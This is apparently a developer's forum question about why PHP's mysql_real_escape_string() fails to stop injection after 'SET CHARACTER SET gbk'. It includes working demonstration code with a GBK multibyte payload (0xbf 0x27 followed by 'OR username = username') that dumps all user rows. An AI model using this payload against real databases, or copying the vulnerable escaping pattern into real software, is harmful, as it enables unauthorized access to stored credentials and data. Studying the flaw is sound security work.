in documentation of mysql_real_escape_string() it say:
...,taking into account the current character set of the connection so that it is safe to place it in a mysql_query()
now why didn't it work correctly in this example?
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
we changed character-set by mysql_query("SET CHARACTER SET 'gbk'", $c)
before calling mysql_real_escape_string
, so why didn't this function know new character-set?